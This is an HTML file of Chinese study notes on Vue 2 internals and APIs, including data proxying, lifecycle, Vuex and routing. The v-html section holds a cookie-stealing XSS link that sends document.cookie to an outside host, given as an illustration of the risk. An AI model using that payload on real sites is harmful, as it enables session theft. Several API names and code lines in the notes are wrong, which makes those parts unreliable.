<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>vue属性及代理机制原理</title>
</head>
<body>
    <!-- 
        const vm = new Vue({})
        1、通过vue实例中都可以访问哪些属性？（vm.）
            vue实例中的熟悉很多，有以 $ 开始的，有以 _ 开始的
            所有以 $ 开始的属性，可以看做是公开的熟悉，这些属性是提供给程序员使用的
            所有以 _ 开始的属性，可以看做是私有的熟悉，这些属性是vue框架底层使用的
            通过vm也可以访问vue实例对象的原型对象上的属性
    -->
    <!-- 
        Object.definProperty()
        1、这个方法是es5新增的
        2、这个方法的作用是：给对象新增属性，或者设置对象原有的熟悉
        3、怎么用：三个参数
            Object.defineProperty(给哪个对象新增属性， '新增的这个属性名是啥'， {给新增的属性设置相关的配置项 key:value})
        4、第三个参数是属性相关的配置项，配置项都有哪些？及作用
            value配置项：给属性指定值
            writable配置项： 设置该属性的值是否可以被修改，true表示可以修改，false表示不能修改
            getter方法配置项：不需要手动调用，当读取属性值的时候，getter方法被自动调用
                * getter方法的返回值非常重要，这个返回值就代表这个属性的值
            setter方法配置项：不需要手动调用，当修改属性值的时候，setter方法被自动调用
                * setter方法上有一个参数，这个参数可以接收传过来的值，给属性赋的值就是会放到这个参数上
            注意：当配置项当中有setter和getter的时候，value和writable配置项都不能存在，不然会报错
    -->
    <script>
        // 例
        let phone = {}
        // 临时变量
        let temp
        // 给上面的对象新增一个color属性
        Object.defineProperty(phone, 'color', {
            // value: '灰',
            // writable: true,
            // getter方法配置项
            get: function() {
                console.log('getter方法执行了');
                // return 'grey'
                // return this.color   // 会无线循环调用get
                return temp
            },
            // setter方法配置项
            set: function(val) {
                console.log('setter方法执行了');
                // this.color = val   // 会无线循环调用set
                temp = val
            }
        })
    </script>
    <!-- 
        1、什么是数据代理机制
            通过访问 代理对象的属性 来间接访问 目标对象的属性
            数据代理机制的实现需要依靠： Object.defineProperty()方法
        2、Vue数据代理对属性名的要求
            Vue实例不会给以_和$开始的属性名做数据代理，为了自己定义的属性名不跟Vue实例中的属性名/方法名重复，从而覆盖
    -->
    <script>
        // 目标对象
        let target = {
            name: 'zhangsan'
        }

        let proxy = {}

        // 实现代理机制，需要给proxy新增一个name属性, 代理对象新增的这个属性的名字 和 目标对象的属性名要一致
        Object.defineProperty(proxy, 'name', {
            get() {
                return target.name
            },
            set(val) {
                target.name = val
            }
        })
    </script>

    <script>
        // 手写vue劫持代理
        /*
        new Vue({
            el: '',
            data: {
                msg: '信息',
                name: '冬冬'
            }
        })
        */
        // 定义一个Vue类
        class Vue {
            // 定义构造函数
            // options是一个简单的纯粹的Js对象
            // options对象中有一个data配置项
            constructor(options) {
                Object.keys(options.data).forEach((propertyName, index) => {
                    let firstChar = propertyName.charAt(0)
                    if(firstChar != '_' && firstChar != '$') {
                        Object.defineProperty(this, propertyName, {
                            get() {   // 数据代理
                                return options.data[propertyName]
                            },
                            set(val) {   // 数据劫持
                                options.data[propertyName] = val
                            }
                        })
                    }
                })
            }
        }

        /*
            源码分析：
                从Vue函数方法开始，因为是 new Vue()的，源码有个 function Vue(options)...
                -> init函数 -> mergeoptions 合并options -> initState函数  -> initData函数，初始化数据
                initData中关键代码
                    1、var data = vm.$options.data
                        这是获取data，程序执行到这里的时候 vm 上还没有 _data 属性
                    2、data = vm._data = isFunction(data) ? getData(data, vm) : data || {}
                        程序执行完这个代码之后，vm对象上多了一个 _data 属性
                        判断data是不是函数，获取方式不同，最后将 data赋值给vm._data属性了
                        为什么要给vm扩展一个_data属性呢?
                            以 _开始，说明这个属性是Vue框架底层需要访问的
                            vm._data这个属性直接指向了底层真实的data对象，通过_data访问的属性是不会走数据代码机制的
                            通过vm._data方式获取属性值的时候，不会调用getter和setter方法
                            注意：对于Vue实例vm来说，不仅有 _data这个属性，还有一个$data这个属性。
                                _data 是框架内部使用的，私有的
                                $data 是给外部程序员使用的，公开的
                    3、重点函数
                        function isReserved(str){
                            var c = (str + '').charCodeAt(0);
                            return c === 0x24 || c === 0x5f;
                        }
                        判断属性是否是 _ 或 $ 符合开始的
                    4、proxy(vm, "_data", key)
                        通过这行代码直接进入代理机制
                proxy函数
                    function(target, sourceKey, key) {
                        sharedPropertyDefinition.get = function proxyGetter() {
                            return this[sourceKey][key];
                        }
                        sharedPropertyDefinition.set = function proxySetter(val) {
                            this[sourceKey][key] = val
                        }
                        Object.defineProperty(target, key, sharedPropertyDefinition)
                    }
                    sharedPropertyDefinition = {
                        enumerable: true,          // enemerable为true表示该属性是可以遍历的（可枚举、可迭代）， false表示不可遍历
                        configuration: true,       // configuration为true表示该属性是可以被删除的，fasle表示不可被删除
                        get: noop,
                        set: noop
                    }
        */
    </script>

    <script>
        /*methods实现原理*/
        // methods中的方法可以通过vm访问到
        // methods中的方法没有做数据代理
        class Vue {
            // 定义构造函数
            // options是一个简单的纯粹的Js对象
            // options对象中有一个data配置项
            constructor(options) {
                Object.keys(options.methods).forEach((methodName, index) => {
                    // 给当前Vue实例扩展一个方法, 这样就可以通过vm访问到这个方法了
                    this[methodName] = options.methods[methodName]
                })
            }
        }
    </script>

    <script>
        /*computed 计算属性*/
        // 用不到set ，可以简写
        // 执行时机：第一次读取属性值 和 原属性值发生变化时
        // 当原属性值不变，模板中会多次访问时，计算属性会读取缓存
        /*watch 属性监听*/
        // 当data中有对象属性时，如果要深度监听某一个键的变化可以使用 'xxx.xxx' 字符串的方式，引号不能省
        /*
            watch: {
                //'a.b': {   // 这样写也行，要有确定属性了
                //    handler() {}
                //}
                deep: true, // 开启深度监听,可以监听对象中的多个属性
                a: {
                    handler() {}
                }
            }
        */
        // 后期添加监听： vm.$watch('a', { handler(nv, ov) {} }) , 简写： vm.$watch('a', function(nv, ov) {})

        /*
            computed和watch的选择
            1、computed和watch如果都能够完成某个功能，优先选择computed
            2、当computed无法完成时，必须用watch, 比如异步操作方式 
                computed: {
                    // 这里采用异步方式，这里的箭头函数是javascript引擎去调用，所以最终return的时候，也会将值返回给javascript引擎,这里不能这样
                    //res() {
                    //    setTimeout(() => {
                    //        return this.a
                    //    }, 1000)
                    //}
                }
                watch: {
                    // 这里采用异步方式，这里的箭头函数是javascript引擎去调用，所以最终return的时候，也会将值返回给javascript引擎
                    res() {
                        setTimeout(() => {    // 这里必须要用箭头函数，因为箭头函数里没有this, 会往上一层找
                            console.log(this)  // this指向vue实例
                        }, 1000)
                        setTimeout(function() {   // 这个函数是普通函数，但是是javascript引擎调用的
                            console.log(this)  // this变成了window对象
                        }, 1000)
                    }
                }
            3、什么时候使用箭头函数？什么时候使用普通函数？
                看这个函数是否属于Vue管理
                是Vue管理的函数：统一写普通函数
                不是Vue管理的函数：统一写箭头函数
        */
    </script>

    <script>
        /*虚拟dom与diff算法*/ 
        // Vue框架是采用了虚拟Dom机制 + diff算法，来提高执行效率的
        /*
            虚拟dom:在内存当中的dom对象
            diff算法：这是一种能够快速比较出两个事务不同之处的算法

            v-for指令所在标签需要有 key属性，默认是 index

            虚拟dom渲染，变成真实dom

            当数据发送改变时
                1、会生成新的虚拟dom
                2、新的虚拟dom会与旧的虚拟dom对比，
                    先比较 key： 
                        key一样
                            再比较里面的具体数据，都一样会直接复用旧的真实dom， 不一样的数据标签会重新渲染
                        key不一样才会渲染新的真实dom
            所以key设置的好，vue 的执行效率会提高很多，
                最好不要使用index作为key值
                    一个是会影响效率
                    另一个可能会产生错乱，比如旧的dom中key为1的数据被选中了，当往数据开头插入一个数据，新的数据的key就为1le ,会被选中，原数据的最后一个不会被选中，产生了错乱
        */
    </script>
    <script>
        /*Vue中的过滤器 -- vue3中废弃了*/
        /*
            <div>{{value | filterFunc | filterTwo | filterThree(rest)}}</div>
            - | 这个竖线代表管道，会将value的值传给过滤器函数
            - 过滤器是可以串联的，第二个过滤器接收的值是第一个过滤器的返回值
            - 如果过滤器中需要传参，那么在接收时 rest 会自动在第二个参数上接收，第一个参数接收的是上一个过滤器的返回值
            - 过滤器只能用在 {{}} 中或者 v-bind指令中

            filters: {
                filterFunc(val) {
                    return 'AAA'
                },
                filterTwo(val) {
                    return val + 'A'
                },
                filterThree(val, rest) {
                    if(!rest) {
                        return val
                    }
                    return val + 'A'
                }
            }

            // 全局过滤器
            // Vue.filter('过滤器函数名'， 过滤器函数体)
            Vue.filter('filterFunc', function() {
                return 'AAA'
            })
        */
    </script>
    <script>
        /*
            v-html引起xss攻击
            当接收用户输入的数据为 <a href="javascript: location.href='http://wuhanyou.com?' + document.cookie">点我给你看点好看的</a> 时
            以v-html展示到页面后，用户一点击就会将 网站的 cookie 信息提交到人家的服务器上

            v-cloak 这个指令解决 胡子语法 闪现问题，主要是网络延迟，导致vue.js引入慢, 但dom先渲染了，页面只显示{{value}} 这样的信息
            使用方式：使用css配合
                <div v-cloak>{{value}}</div>
                <style>
                    [v-cloak] {
                        display: none;
                    }
                </style>
                当vue加载完成，会将标签上的 v-cloak 属性删除

            v-pre: 这个指令可以提高编译速度，带有该指令的标签不会被编译，只能在没有Vue语法规则的标签中使用

            自定义指令
                directives: {
                    // 指令名： 官方建议指令名全部小写, 使用 - 连接
                    // 这个指令函数的执行时机： 一、标签和指令第一次绑定的时候， 二、模板被重新解析的时候 (data中的值发生改变)
                    // 函数式
                    'move-ant': function(element, binding) {  // 第一个参数是指令绑定的标签dom元素，第二个参数是绑定关系对象, 指令里的参数 (=号后面的)
                        // 这里的this指向window
                    }
                    // 指令的函数在执行的时候，指令和元素完成了绑定，但只是在内存中完成绑定，元素还没有被渲染到页面上

                    // 对象式
                    // 注意：特定的时间阶段调用特定的函数，这种被调用的函数称为钩子函数
                    'move-ant': {
                        // 这个对象中三个方法的名字不能随便写，这三个函数会被自动调用，这三个函数叫钩子函数
                        bind(element, binding) {  // 元素与指令初次绑定的时候，自动调用bind

                        },
                        inserted(element, binding) { // 元素被插入到页面之后，这个函数自动被调用

                        },
                        update(element, binding) {  // 当模板重新解析的时候，这个函数被自动调用

                        }
                    }
                }

                // 全局自定义指令
                Vue.directive('move-ant', function(element, binding) {})
                Vue.directive('move-ant', {
                    bind(element, binding) {},
                    inserted(element, binding) {},
                    update(element, binding) {}
                })
        */
    </script>
    <script>
        /*
            // 响应式： 修改data中的数据后，页面自动改变/刷新，就是响应式
            // 数据劫持： 就是Object.defineProperty中的setter，set方法中做了两件事：1、修改内存中该对象的属性值 2、重新渲染页面
            // Vue给data中的所有属性都进行了劫持，包括属性中的属性
            // 但，如果是以下方式后期追加的属性并没有做响应式处理
            vm.$data.obj.email = 'xxx'或者 this.obj.elail = 'xxx'
            // 如果要给后期追加的属性做响应式处理，需要用vue提供的方法：Vue.set() ,第一个参数是目标对象，第二个参数是属性名，第三个参数是属性值
            Vue.set(this.obj, email, 'xxx')  或者 this.$set() 或者 vm.$set
            // 不能直接给vm和vm.$data追加响应式属性

            data中的数组，如果通过下标去修改数组中的元素，默认情况下是没有添加响应式处理的，但如果数组的元素是一个对象，那么对象中的属性是有响应式的
            使用这些方法可以解决：
                Vue.set(数组, 下标, 值)  或者 this.$set() 或者 vm.$set
                或者一下7种方法
                    push()
                    pop()
                    reverse()
                    splice()
                    shift()
                    unshift()
                    sort()
                这些方法 vue 做了响应式处理，因为用这些方法，原数组发生了变化
        */
    </script>
    <script>
        /*
            Vue生命周期
                vm.$destroy  主动销毁的方法
            // 进行测试
            <div id="app"><h1>{{s}}</h1></div>
            const vm = new Vue({
                // el: '#app'
                template: '<p>{{msg}}</p>'
                data: {
                    msg: 'msg',
                    s: 's'
                }
            })
            vm.$mount('#app')
            初始阶段
                el有，template也有，最终编译template模板语句
                el有，template没有，最终编译el模板语句
                没有el时，会使用vm.$mount(el)手动挂载，然后流程才能继续
                    此时如果有template,最终编译template模板语句
                    此时如果没有template,最终编译el模板语句
                结论：流程想要继续，el必须存在，el和template同时存在，优先选择template, 如果没有template，才会选el

                注意：el及template都是vue的配置项
            beforeCreate() {
                // 创建前：指的是数据代理和数据监测的创建前
                // 无法访问data当中的数据，methods也不能访问
                // 添加loading效果
            }
            // creat  创建代理数据和数据劫持
            created() {
                // 创建后：表示数据代理和数据监测创建完毕
                // 可以访问data、methods等
                // debugger 断点
                // 结束loading效果，网络请求，添加定时器
            }
            挂载阶段
            beforeMount() {
                // 挂载前，这个和created的区别是在内存，这个周期中，内存中已有虚拟dom（el）
                // 这里修改数据最后还是会被覆盖
            }
            // mount -> 这会将虚拟dom渲染成真实dom  创建vm.$el（真实dom），并替代el（虚拟dom）
            mounted() {
                console.log(this.$el instanceof HTMLElement)   // true
                // this.$el是真实dom
                // 操作页面dom元素
            }
            更新阶段 data改变  有diff算法了
            beforeUpdate() {
                // data中变了，页面没变
                // 更新前访问现有的DOM，手动移除已添加的事件监听器
            }
            // update  页面更新及修复
            updated() {
                // 到这里 页面已经变了
                // 页面更新后对数据做统一处理
            }
            销毁阶段  调用vm.$destroy()时
            beforeDestroy() {
                // 销毁前，精确讲是解绑前， vue3中就是使用的解绑说法， unMount
                // 数据可以变， 但页面不会变
                // 这里监听器、事件等虽然是激活状态，但是都用不了
                // 清除定时器等
            }
            // destroy 卸载监视器、子组件、自定义事件等
            destroyed() {
                // 销毁后，精确讲是解绑后
                // 页面不会变，数据也变不了
                // 这里监听器、事件等就是失活状态了
            }
        */
    </script>
    <script>
        /*
            // 组件：1、创建组件 2、注册组件 3、使用组件
            // 组件名的几种方式：
                1、全部小写 2、首字母大写，后面全小写 3、使用连字符(-), 串式命名 4、驼峰式命名，只能在脚手架中使用
            // 1、创建组件
                const com = Vue.extend({
                    template: `<div><p>{{mm}}</p></div>`,
                    data(){
                        return{}
                    }
                })
                // Vue.extend() 可以省略, 省略后再注册时会调用，源码中可以看
                const com1 = {
                    template: `<div><p>{{mm}}</p></div>`,
                    data(){
                        return{}
                    }
                }
            // 2、注册组件
                new Vue({
                    el: '#app',
                    data: {},
                    // 这里注册，局部注册
                    components: {
                        // myCom是在这里引用的组件名， com只是一个变量名
                        'my-com': com
                    }
                })
                // 全局注册 Vue.component(组件名字, 组件对象)
                Vue.component('comg', com)
            // 3、使用组件
                <div id="app">
                    // 这种方式在脚手架中用，在这里用只能显示第一个
                    <-- <my-com /> -->
                    <my-com></my-com>
                </div>

            vm和vc
                
                Vue.prototype.msg = 'xxx'

                const vc = Vue.extend({ 
                    template: `<div><p>vc</p></div>`,
                    mounted() {
                        console.log(this) // 是VueComponent实例,简称 VC
                        // com（vc）是什么？是一个全新的构造函数，VueComponent构造函数， 看源码
                        // 构造函数可以创建 实例（new）,当vue解析模板解析到 com（vc） 时就会通过这个构造函数创建这个实例
                        console.log(this === vc) // flase
                        // 在这里可以访问Vue原型上的属性, 为了代码复用
                        // 底层原理： VueComponent.prototype.__proto__ = Vue.prototype
                        console.log(this.msg) // xxx
                    }
                })
                const vm = new Vue({
                    el: '#app',
                    template: `<div><p>vc</p></div>`,
                    mounted() {
                        console.log(this) // 是Vue实例
                        console.log(this === vm) // true
                    }
                })

                回过来看： vm.__proto__ === Vue.prototype
                            vc.__proto__ === VueComponent.prototype
                            VueComponent.prototype.__proto__ = Vue.prototype  改变原型指向，相当于继承
            prototype  和 __proto__
            // 构造函数（函数本身又是一种类型，代表Vip类型）
            function Vip(){}
            // Vip类型/Vip构造函数，有一个prototype属性
            // 这个prototype属性可以称为：显式的原型属性  (建议程序使用的)
            // 通过这个显式的原型属性可以获取：原型对象 console.log(Vip.prototype)

            // 通过Vip创建实例
            let a = new Vip()
            // 对于实例来说，都有一个隐式的原型属性： __proto__   (不建议程序员使用)
            // 通过这个隐式的原型属性可以获取：原型对象 console.log(a.__proto__)
        */
    </script>
    <script>
        /*
            vue的混入 mixin
                可以进行不同组件的代码复用
                混入不是覆盖，不会破坏原有的东西
                但对于生命周期的8个钩子，会先执行混入文件钩子函数中的方法，然后执行组件中的钩子函数中的方法

                局部混入(先导入)
                    mixins: [mix1, mix2]

                全局混入(先导入)
                    Vue.mixin(mix1)
                    Vue.mixin(mix2)
        */
    </script>
    <script>
        /*
            vue的插件 : 插件是一个对象，对象中必须有install方法,这个方法会被自动调用
                export default plugin = {
                    // install方法上的参数： 第一部分：Vue构造函数； 第二部分： 调用插件时的传参,个数没有限制
                    install(Vue， a, b, c) {
                        Vue.prototype.axios = function(){}
                    }
                }
            // 使用插件：(先导入)  Vue.use(plugin)
            // 插件要在创建Vue实例之前
        */
    </script>
    <script>
        /*
            组件上自定义事件
            <Com @eventParam="doSome"></com>
            <Com ref="user"></com>
            
            // 使用内置函数给组件绑定事件
            mounted() {
                this.$refs.user.$on("eventParam", this.doSome)
                this.$refs.user.$once("eventParam", this.doSome) // 只触发一次
            }
            
            // 解绑组件上事件 this指定是当前组件实例vc
            this.$off('eventParam')
            this.$off(['eventParam', 'event2'])   // 解绑两个
            this.$off()   // 解绑所有事件

            在当前组件方法中调用 this.$destory()  会解绑当前组件实例的所有监听器、事件等

            // 如果回调函数是普通函数
            this.$refs.user.$on("eventParam", function() {
                console.log(this)   // 这里的this就是this.$refs.user这个组件的实例了
            })
            // 回调函数是箭头函数
            this.$refs.user.$on("eventParam", () => {
                console.log(this)   // 这里的this就是当前组件的实例了
            })
            // 当回调函数是调用 methods中的方法时，当中的this是当前组件的实例
        */
        /*
            全局事件总线：
                实现：
                    在main.js中写
                        import Vue from 'vue'
                        // 获取VueComponent构造函数
                        const VueComponentConstructor = Vue.extend({})
                        // 创建一个共享的vc对象
                        const globalvc = new VueComponentConstructor()
                        // 将全局vc对象绑定到Vue原型上,这样在各个组件上就可以访问到
                        Vue.prototype.$bus = globalvc
                    将以上代码改进：
                        new Vue({
                            el: '#app',
                            render: h => h(App),
                            beforeCreate() {
                                Vue.prototype.$bus = this  // vc上的事件 vm上也有，所以可以改成这样
                            }
                        })

                    在各个组件上可以这样写
                        // 绑定事件
                        this.$bus.$on('eventBus', this.doSome)
                        // 调用
                        this.$bus.$emit('eventBus')
        */
        /*
            消息的订阅与发布机制：使用这种机制，也能完成任意组件之间的数据传递
                订阅方负责接收数据、发布方负责发送数据
                A组件： 订阅消息
                        订阅('event1', function(a, b) {   // 参数： a: 消息的题目， b:消息的内容
                            // 这个回调函数将来会被自动调用
                        })
                B组件： 发布消息
                        发布('event1', 'msg')  // 参数： 第一个消息的题目， 第二个消息的内容

            使用消息的订阅与发布机制，需要借助第三方库：pubsub-js   pub发布  sub订阅
                安装： npm i pubsub-js 
                使用： import pubsub from 'pubsub-js'

                mounted() {
                    // 组件挂载完毕后，订阅消息
                    this.pid = pubsub.subscribe('conmsg', function(messageName, message) {
                        // messageName就是消息的名字
                        // message就是具体消息内容
                    })
                }
                beforeDestory() {
                    // 在这里取消订阅的所有消息
                    pubsub.unsubscribe(this.pid)
                }

                methods: {
                    publishMsg() {
                        pubsub.publish('conmsg', '具体消息内容')
                    }
                }
        */
    </script>
    <script>
        /*
            Vue-cli开启代理功能解决跨域问题
            1、简单开启, 很少用
                vue.config.js文件中添加配置
                devServer: {
                    proxy: '服务器地址'  // 假设地址是8000端口的
                }
                访问： http://localhost:8080/v/vip
                // 发送ajax请求时，会优先从本地的服务中找，找不到时会找代理，代理从服务器上找

            2、高级开启
                devServer: {
                    proxy: {
                        // 凡是请求路径以 /api 开始的都会走这个代理
                        '/api': {
                            target: '<url>',  //服务器地址
                            // 因为如果前端请求路径加了 /api , 但代理是到端口号，所以 服务器会接收到 /api 开始的路径，但服务器上没有这种请求路径，所以需要去掉 /api 的前缀
                            // 路径重写，去掉 /api 的前缀
                            pathRewrite: {'^/api': ''},  // 这样写
                            ws: true,                  // 开启对websocket的支持 , 默认是 true
                            changeOrigin: true         // 改变起源，让对方服务器不知道真正的起源地址， 默认是true
                        },
                        '/sss': {
                            target: '<url>',  //服务器地址
                            pathRewrite: {'^/sss': ''},   // 路径重写
                            ws: true,
                            changeOrigin: true
                        }
                    }
                }

            插件 vue-resource 是封装axios的插件
        */
    </script>
    <script>
        /* Vuex */ 
        /*
            全局事件总线和 vuex 的区别
                全局事件总线的关注点在数据的传送上，this.$bus这个全局事件总线对象是共享的，但共享的数据并没有在这个对象上，还在局部组件中
                vuex的关注点是在数据的存储上，共享数据本身就在vuex上，任何一个组件去操作这个数据，其他组件都会同步更新
                vuex的使用场景：
                    多个组件之间依赖于同一状态，来自不同组件的行为需要变更同一状态

            使用
                import store from './store.js'
                new Vue({
                    el: '#app',
                    // 只要加上 store 这个配置项， vm及所有vc对象上都会多一个属性： $store
                    store,
                })
                store.js中
                import Vuex from 'vuex'
                // vuex是一个插件，所以要use一下
                Vue.use(Vuex)
                const store = new Vuex.Store({
                    actions: {
                        // 这里有很多个action
                        // 每一个action都是一个callback（回调函数）
                        // action中注意是用来处理业务逻辑的，异步处理
                        // context是Vuex的上下文，相当于 Vuex 中的store对象的压缩版， value是传过来的参数
                        add(context, value) {
                            value = value + 1
                            context.commit('ADD', value)   // 这里是提交给mutations修改数据的，传的是处理后的数据
                            context.dispath('otherDo', value)  // 这里可以继续分发（调用）其他action
                        },
                        otherDo(context, value) {}
                    },
                    mutations: {
                        // 这里有多个mutation
                        // 每一个mutation 都是一个callback（回调函数）
                        // 每一个mutation 这个回调函数的作用就是更新state
                        ADD(state, value) {
                            state.num = value
                        }
                    },
                    state: {
                        num: 0
                    },
                    getters: {
                        // 可以放很多getter
                        // 每一个getter可以看做一个计算属性
                        // 每个getter方法都会自动接收一个state对象
                        reverseNum(state) {
                            return state.num + 2
                        }
                    }
                })
                export default store;
                // 组件中
                this.$store.dispath('add', this.num)
                // 直接调用 mutations
                this.$store.commit('ADD', this.num)

                // mapState  mapGetters 的使用
                computed: {   // 计算属性里
                    num() {
                        return this.$store.state.num
                    },
                    // 对象形式
                    ...mapState({num: 'num'}),         // 这是一个函数，传参进去后执行后会生成像上面一样的计算属性
                    // 数组形式
                    // ...mapState(['num']),
                    ...mapGetters(['reverseNum'])
                    
                    // 双向绑定vuex中的参数 v-model="$store.state.uname"
                    // 当使用双向绑定时 v-model="uname" ，计算属性需要全形式
                    uname: {
                        get() {
                            return this.$store.state.uname
                        },
                        set(value) {
                            this.$store.state.uname = value
                        }
                    }
                }
                // mapMutations  mapActions 的使用: 当只有简单逻辑时（一行代码）可以使用
                methods: {
                    // this.$store.dispatch()
                    ...mapAction({add: 'add'})  // 对象方式
                    ...mapActions(['add'])  // 数组方式

                    // this.$store.commit()
                    ...mapMutations({'ADD': 'ADD'})
                    ...mapMutations(['ADD'])
                }

            vuex的模块化开发
                const a = {             // 模块a， 实际开发一个模块一个js文件
                    namespaced: true,   // 开启命名空间, 
                    actions: {doSome() {}},
                    mutations: {},
                    state: {a: 1},
                    getters: {b: 2}
                }
                const b = {           // 模块b
                    namespaced: true,  // 开启命名空间
                    actions: {doSome()},
                    mutations: {},
                    state: {a: 1},          
                    getters: {b: 2}
                }
                export default new Vuex.Store({
                    modules: {
                        aModule: a,
                        bModule: b
                    }
                })

                组件中访问
                // 访问state和命名空间无关
                <div>{{$store.state.aModule.a}}</div>
                <div>{{$store.getters['aModule/b']}}</div>
                methods: {
                    this.$store.dispatch('aModule/doSome')
                }

                使用 map等函数
                computed: {
                    ...mapState('aModule', ['a'])
                    ...mapGetter('bModule', ['b'])
                }
                methods: {
                    ...mapActions('aModule', ['doSome'])
                    ...mapMutations('bModule', ['doSome'])
                }
        */
    </script>
    <script>
        /*vue route  路由*/ 
        /*
            route 路由   router 路由器    -->   路由器调度路由
            使用：
                import router from './router'
                new Vue({
                    el: '#app',
                    // 一旦使用了vue-router插件，那么 这里就可以直接传递一个配置项： router
                    // router 配置项用来接收一个路由器对象
                    router, 
                    render: h => h(App)
                })
                // router.js中
                import VueRouter from 'vue-router'
                const router = new VueRouter({
                    routes: []
                })
                export default router

                路由中props的使用
                {
                    path: '/a/:x/:y',
                    component: User,
                    // props: true,   // 这种方式只支持params方式的传参，不支持query方式，会将params对象直接转换成props对象，内部直接转
                    //props: {         // 对象写法
                    //    m: 'zhansan'
                    //}
                    // 函数写法, 会接收一个参数，这个参数就是当前的路由对象
                    props($route) {
                        return {
                            m: $route.params.x,
                            // n: $route.query.h
                        }
                    } 
                }
                User组件中使用props接收
                props: ['m']

            栈数据结构 stack
                遵循 先进后出，后进先出 原则
                默认情况下，栈当中是有一个指针的，这个指针默认指向栈顶元素，当入栈（压栈、push）一个元素时，指针会往上移一个，永远指向栈顶元素
                    当一个元素要出栈（弹栈、pop）时，指针会想向下移动一个元素，也会一直指向栈顶元素

            1、浏览器的历史记录是存在栈这种数据结构里的
            2、历史记录存放到栈这种数据结构的时候有两种不同的模式：
                第一种：push模式
                    以追加的方式，入栈
                第二种：reolace模式
                    以替换栈顶元素的方式，入栈
            3、浏览器默认的模式是：push模式
            4、操作浏览器上的前进和后退的时候，并不会删除栈当中的历史记录，只是向前和向后移动指针
            
            这两种方式都是开启浏览器的replace模式的， 声明式导航
            <router-link replace></router-link>
            <router-link :replace="true"></router-link>

            // 编程式路由导航
            methods: {
                routeGo() {
                    // this.$router 获取路由器对象，通过这个对象调API完成页面跳转
                    // push模式
                    this.$router.push()
                    // replace模式
                    this.$router.push()
                    // 浏览器前进后退按钮功能
                    this.$router.forword()   // 前进
                    this.$router.back()  // 后退
                    this.$router.go(2)  // 前进两步
                    this.$router.go(-2)  // 后退两步

                    // 注意，使用编程式导航时，当多次调用push或replace跳转同一个地址时，会出现报错
                    // 原因：在使用编程式路由导航时，push以及replace方法会返回一个Promise对象
                    //      这个Promise对象期望你能通过参数的方式给他两个回调函数，一个是成功的回调，一个是失败的回调
                    // 解决
                    this.$router.push({name: 'a', params: {}}, () => {}, () => {})
                    this.$router.replace({name: 'a', params: {}}, () => {}, () => {})
                }
            }

            路由组件的销毁
                默认情况下，当路由切走后，组件会被销毁
                设置组件在路由切换时不被销毁
                <keep-alive>
                    <router-view />    
                </keep-alive>

                对于路由组件还有两个生命周期的钩子
                    activated : 组件被激活的时候执行
                    deactivated : 组件被销毁的时候执行
            对于普通组件：钩子函数有 9 个： 8个 + nextTick(function() {})（这个钩子里的函数是在下一次dom渲染的时候执行）

            路由守卫
                全局前置守卫  router.beforeEach(callback)
                    1、代码写到哪里？ 在创建好router之后，以及暴露router之前
                    2、beforeEach中的callback什么时候被调用呢？初始化的时候执行一次，每一次在切换任意路由组件之前都会被调用
                    3、callback可以是普通函数，也可以是箭头函数
                    4、callback函数中的三个参数： to 、 from 、 next
                        from、to 都是路由对象，表示起点和终点
                        next函数执行后表示放行
                    5、守卫的作用就是鉴权，路由组件执行的权限，可以在这个callback函数中写逻辑代码判断某个路由是否可以访问
                        当路由较多时，可以在每个路由上加一个布尔属性用来判断这个路由是否需要鉴权
                        注意：当你需要给路由对象添加自定义属性时，需要在路由对象的 meta （路由元）中定义

                全局后置守卫  router.aftereEach(callback)
                    1、代码写到哪里？ 在创建好router之后，以及暴露router之前
                    2、afterEach中的callback什么时候执行呢？初始化的时候执行一次，以后每次切换任意一个路由组件之后被调用
                    3、callback可以是普通函数，也可以是箭头函数
                    4、callback函数中的只有两个参数： to、 from

                局部守卫之path守卫（路由独享守卫）
                    routes = [
                        {
                            path: '/a',
                            component: A,
                            // 1、写到route对象中
                            // 2、beforeEnter 本身就是一个函数，参数上没有回调函数了
                            // 3、beforeEnter什么时候被调用？ 进入当前路由前被调用
                            beforeEnter(to, from, next) {   
                                next()
                            }
                        }
                    ]
                局部守卫之component守卫（路由组件内守卫）
                    // 1、写到组件内部
                    // 2、beforeRouterEnter 执行时机： 进入路由组件之前执行
                    // 3、必须是路由组件才会触发
                    beforeRouterEnter(to, from, next) {
                        next(vm => {
                            console.log(vm)
                        })
                    }
                    beforeRouterUpdate(to, from, next) {
                        next()
                    }
                    // beforeRouterLeave 执行时机： 离开路由组件之前执行
                    beforeRouterLeave(to, from, next) {
                        next()
                    }
        */
    </script>
</body>
</html>